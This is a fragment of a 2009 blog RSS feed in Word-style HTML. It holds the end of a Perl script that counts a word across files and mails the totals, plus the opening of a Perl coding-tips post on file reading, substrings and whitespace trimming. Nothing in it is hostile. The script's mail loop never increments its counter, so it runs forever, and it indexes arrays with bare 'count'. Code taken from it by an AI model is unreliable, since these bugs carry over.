<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Count the total number of words in all the files.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$totalWordCount=$totalWordCount+$wordCount[$fileCount];</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Print the result.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print (&#8221;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[$fileCount]\&#8221; is: $wordCount[$fileCount]\n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$fileCount=$fileCount+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Below is the optional code which you can add if you want to send a mail with the details.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">open (MAIL, &#8220;|$mailer -t&#8221;) || die &#8220;Can&#8217;t open mailer&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;To: $toaddress\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;cc: \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;Subject: $subject\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print MAIL &#8220;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[count]\&#8221; is: $wordCount[count]\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\nThis email was system generated, please do not reply.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\n\n\n\n\n\n\n\n\n\n\nThis e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">close (MAIL);</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl &#8211; Coding Tips</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Perl - Coding Tips]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=117</guid>
		<description><![CDATA[Introduction
This document covers the basic functionalities in perl. These include the following:
·         Open and read file
·         Substring
·         Trim white spaces
·         Join string with/out delimiter
·         Remove newline
·         Split into array [reading key value pair]
·         String comparison and numeric comparison 
·         Assign data in Hash or associative array and access the data
·         Write to and Close file
 
 
Open [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Introduction</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This document covers the basic functionalities in perl. These include the following:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and read file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim white spaces</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Split into array [reading key value pair]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String comparison and numeric comparison </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Assign data in Hash or associative array and access the data</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write to and Close file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220659"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and Read file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To open and read a file, the read access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;&lt;&#8221;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&lt;</strong>’ – open a file in read mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$var=&lt; File identifier&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: <strong style="mso-bidi-font-weight: normal;">$var=’this is the first line of the file’</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Read the first record (first line) from the file. Variable $var will hold the first line of the file.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">@file_array=&lt;</span><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> File identifier<span style="color: black;"> &gt;</span></span><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The contents of the file can be assigned to an array</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220660"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$substr_var=substr &lt;string&gt;, &lt;start position&gt;, &lt;field length&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Get a substring of the first record from the file. The first record is stored in the variable $var. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">In perl, the start position of a string is 0.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: If we need to cut first 5 characters from $var, start position will be 0 and field length will be 5.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$substr_var=substr $var, 0, 5</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">So,<strong style="mso-bidi-font-weight: normal;"> $substr_var=’this ‘</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Note: Start position of a string in UNIX is 1. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220661"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim White Spaces</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the end of the string (trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\s+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the beginning of the string (leading spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/^\s+//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from anywhere in the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$string =~ s/\s+//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from end and beginning of the string (leading and trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$test =~ s/^\s+|\s+$//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220662"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “”, &lt;string 1&gt;, &lt;string2&gt; [Join without any delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “,”, &lt;string 1&gt;, &lt;string2&gt; [Join with ‘,’ delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;,&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220663"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute newline with nothing from the end of the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\n+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">chomp ($variable)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">If <span style="color: black;">variable</span> is a hash, it chomps the hash&#8217;s values, but not its keys</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
